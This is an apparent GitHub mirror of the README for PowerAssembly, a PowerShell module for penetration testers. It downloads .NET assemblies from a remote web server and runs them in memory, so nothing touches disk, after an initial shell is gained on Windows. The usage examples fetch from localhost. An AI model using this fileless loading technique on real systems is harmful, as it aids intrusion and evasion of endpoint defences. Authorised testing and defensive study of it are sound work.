GithubHelp home page GithubHelp logo

rakhithjk / powerassembly Goto Github PK

View Code? Open in Web Editor NEW

This project forked from phrozenio/powerassembly

0.0 1.0 0.0 112 KB

Map remote .NET assemblies to memory for further invocation.

PowerShell 100.00%

powerassembly's Introduction

PowerAssembly

Map in current PowerShell Instance Memory .NET Assemblies from remote web server.

When Assembly is mapped, you can invoke it's main with a command line argument.

The advantage of this technique is to avoid having assemblies written on disk. Everything happens in memory.

I'm using this script during my penetration tests / labs right after getting an initial shell on Windows to load other .NET Tools (Ex: ShapHound, ShapUp etc..)

Prepare

You can use this code whether as a PowerShell Module or Classic Script.

As a module

Choose an existing PowerShell Module Folder (see echo $env:PSModulePath)

Create a folder called PowerAssembly and place the PowerAssembly.psm1 module inside of this new folder.

Open a new PowerShell Window and enter Import-Module PowerAssembly

The module is now ready for use with available functions:

  • Get-MappedAssembliesList
  • Invoke-Assembly
  • Get-RemoteAssembly

As a script

You can for example copy / paste the whole PowerAssembly.psm1 code in a new Powershell Window and enjoy offered functionalities.

Use It

Get-RemoteAssembly

Retrieve a .NET Assembly hosted in a remote web server.

URI must be a valid .NET Assembly file otherwise this function will raise an error.

Example:

Get-RemoteAssembly -RemoteAddress http://127.0.0.1/MyAssembly.exe

or simply

Get-RemoteAssembly http://127.0.0.1/MyAssembly.exe

Get-MappedAssembliesList

Return the list of successfully mapped assemblies with its index number. Index is important to define which assembly to invoke using Invoke-Assembly function.

Get-MappedAssembliesList

Invoke-Assembly

Invoke the main function of a target mapped assembly (defined by its index, see Get-MappedAssembliesList)

Example:

Invoke-Assembly -mappedIndex 1 -argumentLine "Arg1 Arg2 Arg3"

Notice: Index 0 = 1

Demo

powerassembly's People

Contributors

darkcodersc avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.